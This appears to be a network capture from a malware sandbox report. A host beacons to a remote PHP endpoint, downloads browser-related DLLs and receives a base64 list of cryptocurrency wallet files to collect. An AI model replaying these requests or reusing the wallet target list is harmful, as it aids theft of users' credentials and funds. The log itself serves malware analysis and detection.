0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 [TRUNCATED] Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
Jul 1, 2024 07:20:40.139678955 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 1, 2024 07:20:40.791619062 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHD Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 [TRUNCATED] Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="file"------JEBKECAFIDAFIECBKEHD--
Jul 1, 2024 07:20:41.497756004 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 1, 2024 07:20:41.768488884 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 1, 2024 07:20:41.949052095 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 1, 2024 07:20:42.668232918 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 1, 2024 07:20:42.848983049 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 1, 2024 07:20:43.271984100 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 1, 2024 07:20:43.452775955 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 1, 2024 07:20:44.007497072 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 1, 2024 07:20:44.188757896 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 1, 2024 07:20:45.687544107 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 1, 2024 07:20:45.868185043 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 1, 2024 07:20:45.991743088 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 1, 2024 07:20:46.173300982 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 1, 2024 07:20:46.836436033 CEST	197	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 85.28.47.4 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Jul 1, 2024 07:20:47.673036098 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 1, 2024 07:20:47.728821993 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAK Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="message"wallets------IEHJDGIDBAAFIDGCGCAK--
Jul 1, 2024 07:20:48.077822924 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 1, 2024 07:20:48.080610991 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="message"files------EGIDAAFIEHIEHJKFHCAE--
Jul 1, 2024 07:20:48.298717022 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 1, 2024 07:20:48.476910114 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
